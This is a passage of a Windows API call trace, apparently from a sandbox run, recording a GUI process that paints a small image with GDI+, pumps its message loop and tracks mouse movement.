[0126.237] CreateSolidBrush (color=0xffffff) returned 0x4c100190 [0126.237] FillRect (hDC=0x25010191, lprc=0x15d7c0, hbr=0x4c100190) returned 1 [0126.237] DeleteObject (ho=0x4c100190) returned 1 [0126.237] RestoreDC (hdc=0x25010191, nSavedDC=-1) returned 1 [0126.237] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.237] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x25010191) returned 0x0 [0126.238] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd4e0dbd) returned 0x0 [0126.238] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.238] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0126.238] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0126.238] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0126.238] GetSystemMetrics (nIndex=42) returned 0 [0126.238] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac0e0 [0126.238] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac0e0, nMaxCount=1 | out: lpString="") returned 0 [0126.238] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac0e0) returned 0x0 [0126.238] CoTaskMemFree (pv=0x1e7ac0e0) [0126.238] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0126.238] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0126.238] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0126.238] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0126.238] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x25010191, x1=0, y1=0, rop=0xcc0020) returned 1 [0126.239] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.239] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x25010191) returned 0x0 [0126.239] SelectObject (hdc=0x25010191, h=0x185000f) returned 0x1a05067e [0126.239] DeleteDC (hdc=0x25010191) returned 1 [0126.239] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.239] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0126.239] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0126.239] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0126.239] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.239] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.239] WaitMessage () returned 1 [0126.287] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.287] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1b90351) returned 0x1 [0126.288] IsWindowUnicode (hWnd=0x702f6) returned 1 [0126.288] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.288] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1b90351) returned 0x1 [0126.288] SetCursor (hCursor=0x10003) returned 0x10003 [0126.288] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.289] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.289] _TrackMouseEvent (in: lpEventTrack=0x2713060 | out: lpEventTrack=0x2713060) returned 1 [0126.289] SendMessageW (hWnd=0x702f6, Msg=0xc1cd, wParam=0x0, lParam=0x0) returned 0x0 [0126.290] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xc1cd, wParam=0x0, lParam=0x0) returned 0x0 [0126.290] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x200, wParam=0x0, lParam=0x9c0106) returned 0x0 [0126.290] GetKeyState (nVirtKey=1) returned 0 [0126.290] GetKeyState (nVirtKey=2) returned 0 [0126.290] GetKeyState (nVirtKey=4) returned 0 [0126.290] GetKeyState (nVirtKey=5) returned 0 [0126.290] GetKeyState (nVirtKey=6) returned 0 [0126.290] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.290] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.290] WaitMessage () returned 1 [0126.312] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.312] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b9033d) returned 0x1 [0126.313] IsWindowUnicode (hWnd=0x20312) returned 1 [0126.313] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.313] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.313] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.313] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0126.313] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.313] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b9033d) returned 0x1 [0126.313] IsWindowUnicode (hWnd=0x20312) returned 1 [0126.313] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.313] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b9033d) returned 0x1 [0126.313] SetCursor (hCursor=0x10003) returned 0x10003 [0126.314] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.314] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.314] _TrackMouseEvent (in: lpEventTrack=0x278ae50 | out: lpEventTrack=0x278ae50) returned 1 [0126.314] SendMessageW (hWnd=0x20312, Msg=0xc1cd, wParam=0x0, lParam=0x0) returned 0x0 [0126.314] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0xc1cd, wParam=0x0, lParam=0x0) returned 0x0 [0126.314] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x9000e6) returned 0x0 [0126.314] GetKeyState (nVirtKey=1) returned 0 [0126.314] GetKeyState (nVirtKey=2) returned 0 [0126.314] GetKeyState (nVirtKey=4) returned 0 [0126.314] GetKeyState (nVirtKey=5) returned 0 [0126.314] GetKeyState (nVirtKey=6) returned 0 [0126.314] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.314] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.314] WaitMessage () returned 1 [0126.323] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.324] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b90333) returned 0x1 [0126.324] IsWindowUnicode (hWnd=0x20312) returned 1 [0126.324] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.324] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b90333) returned 0x1 [0126.324] SetCursor (hCursor=0x10003) returned 0x10003 [0126.324] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.325] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.325] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x9000dc) returned 0x0 [0126.325] GetKeyState (nVirtKey=1) returned 0 [0126.325] GetKeyState (nVirtKey=2) returned 0 [0126.325] GetKeyState (nVirtKey=4) returned 0 [0126.325] GetKeyState (nVirtKey=5) returned 0 [0126.325] GetKeyState (nVirtKey=6) returned 0 [0126.325] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.325] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.325] WaitMessage () returned 1 [0126.352] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.352] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b90329) returned 0x1 [0126.352] IsWindowUnicode (hWnd=0x20312) returned 1 [0126.353] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.353] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b90329) returned 0x1 [0126.353] SetCursor (hCursor=0x10003) returned 0x10003 [0126.353] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.353] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.353] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x9000d2) returned 0x0 [0126.353] GetKeyState (nVirtKey=1) returned 0 [0126.353] GetKeyState (nVirtKey=2) returned 0 [0126.353] GetKeyState (nVirtKey=4) returned 0 [0126.353] GetKeyState (nVirtKey=5) returned 0 [0126.353] GetKeyState (nVirtKey=6) returned 0 [0126.353] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.353] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.353] WaitMessage () returned 1 [0126.354] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.354] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b9031f) returned 0x1 [0126.354] IsWindowUnicode (hWnd=0x20312) returned 1 [0126.354] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.354] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b9031f) returned 0x1 [0126.355] SetCursor (hCursor=0x10003) returned 0x10003 [0126.355] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.355] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.355] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x9000c8) returned 0x0 [0126.355] GetKeyState (nVirtKey=1) returned 0 [0126.355] GetKeyState (nVirtKey=2) returned 0 [0126.355] GetKeyState (nVirtKey=4) returned 0 [0126.355] GetKeyState (nVirtKey=5) returned 0 [0126.355] GetKeyState (nVirtKey=6) returned 0 [0126.355] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.355] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.355] WaitMessage () returned 1 [0126.365] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.365] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b90315) returned 0x1 [0126.365] IsWindowUnicode (hWnd=0x20312) returned 1 [0126.365] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.365] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b90315) returned 0x1 [0126.366] SetCursor (hCursor=0x10003) returned 0x10003 [0126.366] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.366] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.366] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x9000be) returned 0x0 [0126.366] GetKeyState (nVirtKey=1) returned 0 [0126.366] GetKeyState (nVirtKey=2) returned 0 [0126.366] GetKeyState (nVirtKey=4) returned 0 [0126.366] GetKeyState (nVirtKey=5) returned 0 [0126.366] GetKeyState (nVirtKey=6) returned 0 [0126.366] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.366] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.366] WaitMessage () returned 1 [0126.378] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.378] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b9030b) returned 0x1 [0126.378] IsWindowUnicode (hWnd=0x20312) returned 1 [0126.378] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.378] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b9030b) returned 0x1 [0126.379] SetCursor (hCursor=0x10003) returned 0x10003 [0126.379] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.379] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.379] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x9000b4) returned 0x0 [0126.379] GetKeyState (nVirtKey=1) returned 0 [0126.379] GetKeyState (nVirtKey=2) returned 0 [0126.379] GetKeyState (nVirtKey=4) returned 0 [0126.379] GetKeyState (nVirtKey=5) returned 0 [0126.379] GetKeyState (nVirtKey=6) returned 0 [0126.379] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.379] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.379] WaitMessage () returned 1 [0126.439] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.439] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b90301) returned 0x1 [0126.439] IsWindowUnicode (hWnd=0x20312) returned 1 [0126.439] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.439] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b90301) returned 0x1 [0126.440] SetCursor (hCursor=0x10003) returned 0x10003 [0126.440] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.440] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.440] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x9000aa) returned 0x0 [0126.440] GetKeyState (nVirtKey=1) returned 0 [0126.440] GetKeyState (nVirtKey=2) returned 0 [0126.440] GetKeyState (nVirtKey=4) returned 0 [0126.440] GetKeyState (nVirtKey=5) returned 0 [0126.440] GetKeyState (nVirtKey=6) returned 0 [0126.440] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.440] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.440] WaitMessage () returned 1 [0126.490] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.490] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902f7) returned 0x1 [0126.490] IsWindowUnicode (hWnd=0x20312) returned 1 [0126.491] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.491] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902f7) returned 0x1 [0126.491] SetCursor (hCursor=0x10003) returned 0x10003 [0126.491] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.492] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.492] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x9000a0) returned 0x0 [0126.492] GetKeyState (nVirtKey=1) returned 0 [0126.492] GetKeyState (nVirtKey=2) returned 0 [0126.492] GetKeyState (nVirtKey=4) returned 0 [0126.492] GetKeyState (nVirtKey=5) returned 0 [0126.492] GetKeyState (nVirtKey=6) returned 0 [0126.492] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.492] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902ed) returned 0x1 [0126.492] IsWindowUnicode (hWnd=0x20312) returned 1 [0126.492] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.492] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902ed) returned 0x1 [0126.492] SetCursor (hCursor=0x10003) returned 0x10003 [0126.493] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.493] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.493] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x900096) returned 0x0 [0126.493] GetKeyState (nVirtKey=1) returned 0 [0126.493] GetKeyState (nVirtKey=2) returned 0 [0126.493] GetKeyState (nVirtKey=4) returned 0 [0126.493] GetKeyState (nVirtKey=5) returned 0 [0126.493] GetKeyState (nVirtKey=6) returned 0 [0126.493] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.493] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.493] WaitMessage () returned 1 [0126.548] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.548] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902d9) returned 0x1 [0126.548] IsWindowUnicode (hWnd=0x20312) returned 1 [0126.548] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.548] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902d9) returned 0x1 [0126.548] SetCursor (hCursor=0x10003) returned 0x10003 [0126.548] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.548] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.548] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x900082) returned 0x0 [0126.548] GetKeyState (nVirtKey=1) returned 0 [0126.548] GetKeyState (nVirtKey=2) returned 0 [0126.548] GetKeyState (nVirtKey=4) returned 0 [0126.548] GetKeyState (nVirtKey=5) returned 0 [0126.548] GetKeyState (nVirtKey=6) returned 0 [0126.548] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.548] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.548] WaitMessage () returned 1 [0126.561] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.561] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902cf) returned 0x1 [0126.561] IsWindowUnicode (hWnd=0x20312) returned 1 [0126.561] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.561] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902cf) returned 0x1 [0126.561] SetCursor (hCursor=0x10003) returned 0x10003 [0126.561] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.561] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.561] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x900078) returned 0x0 [0126.562] GetKeyState (nVirtKey=1) returned 0 [0126.562] GetKeyState (nVirtKey=2) returned 0 [0126.562] GetKeyState (nVirtKey=4) returned 0 [0126.562] GetKeyState (nVirtKey=5) returned 0 [0126.562] GetKeyState (nVirtKey=6) returned 0 [0126.562] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.562] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0126.562] WaitMessage () returned 1 [0126.582] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.582] IsWindowUnicode (hWnd=0x2031e) returned 1 [0126.582] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.582] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.582] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.583] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0126.583] GetCurrentThreadId () returned 0xec0 [0126.583] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0126.583] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.583] IsWindowUnicode (hWnd=0x2031e) returned 1 [0126.583] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.583] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.583] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.583] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0126.583] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0126.583] CreateCompatibleDC (hdc=0x1010b9d) returned 0x26010191 [0126.583] SelectObject (hdc=0x26010191, h=0x1a05067e) returned 0x185000f [0126.583] GdipCreateFromHDC (hdc=0x26010191, graphics=0x15daf0) returned 0x0 [0126.645] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0126.645] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0126.645] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0126.646] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0126.646] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0126.646] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e84f2d0 [0126.646] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e84f2d0) returned 0x0 [0126.646] LocalFree (hMem=0x1e84f2d0) returned 0x0 [0126.646] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.646] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0126.647] GdipCreateRegion (region=0x15dc20) returned 0x0 [0126.647] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0126.647] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0126.647] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0126.647] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0126.647] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0126.647] GetSystemMetrics (nIndex=42) returned 0 [0126.647] CoTaskMemAlloc (cb=0x6) returned 0x1e84af40 [0126.647] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e84af40, nMaxCount=1 | out: lpString="") returned 0 [0126.647] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e84af40) returned 0x0 [0126.647] CoTaskMemFree (pv=0x1e84af40) [0126.647] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0126.647] GdipCreateRegion (region=0x15d710) returned 0x0 [0126.647] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0126.647] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0126.647] 